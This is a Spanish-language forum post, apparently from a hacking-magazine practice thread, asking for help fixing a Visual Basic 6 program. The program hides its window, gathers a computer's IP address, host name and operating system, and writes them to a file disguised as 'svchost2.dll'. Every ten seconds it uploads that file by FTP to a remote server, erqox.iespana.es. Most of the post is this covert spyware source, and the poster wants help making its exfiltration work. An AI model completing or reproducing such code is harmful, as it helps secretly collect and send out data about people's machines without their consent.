Muy buenas a todos, estoy haciendo las prácticas de las revistas HXC, y estoy intentando terminar el programa IPHXC, k te manda la IP, el nombre del pc y el SO k utiliza un host remoto a un server FTP k tu le hayas indicado.
Creo k lo he hecho todo bien, y en teoría cada 10 s me tendría que mandar a un server ftp un archivo con esos datos, pero no lo hace, únicamente me lo crea en la carpeta donde está alojado el proyecto. LO he revisado muchas veces y parece que too está bien, a ver si alguien conj conocimienos me pudiese ayudar.
Gracias de antemano, ahí va el código:
Dim Ti 'declaramos la variable
Private Sub Form_Load()
On Error GoTo Error 'Hacemos k salte a "Error:"
Form1.Visible = False 'Hacemos k sea "invisible" ^^
Timer1.Interval = 1000 'El timer se completa en 1 s.
Ti = 0 'Ti al principio es igual a 0
Error:
End Sub
Private Sub Command1_Click()
On Error GoTo Error 'Hacemos k salte a "Error:"
Ti = Ti + 1 'le sumamos 1
Label1.Caption = Ti 'hacemos que label muestre en el caption el valor de Ti
If Ti = 10 Then 'Si Ti es igual a 10 haz esto, sino sigue el programa
Open ("svchost2.dll") For Output As #1 'acción a ejecutar si se cumple la condición.
Print #1, "Ip del host", Winsock1.LocalIP 'IP del host
Print #1, "Nombre del host", Winsock1.LocalHostName 'Nombre del host
Print #1, "SO del host", SysInfo1.OSPlatform 'V. de win2 del host
Print #1, Date 'Fecha
Print #1, Time 'HOra
Close #1
Inet1.Execute "ftp://xxxxx:xxxxxx@erqox.iespana.es/", "PUT svchost2.dll" & Winsock.LocalHostName & ".txt" 'Hacemos que nos mande el archivo a nuestra cuenta FTP
Ti = 0 'Hacemos que Ti vuelva a ser 0
End If 'Fin del bucle de decisión.
Error:
End Sub
Private Sub Timer1_Timer()
On Error GoTo Error 'Hacemos k salte a "Error:"
Call Command1_Click 'Llama al command1 cuando se complete el timer
Error:
End Sub
Mostrar Mensajes
ahora edito
